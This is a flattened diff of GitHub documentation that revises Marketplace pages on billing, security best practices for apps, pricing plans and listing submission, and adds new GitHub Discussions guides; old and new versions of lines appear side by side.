listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions 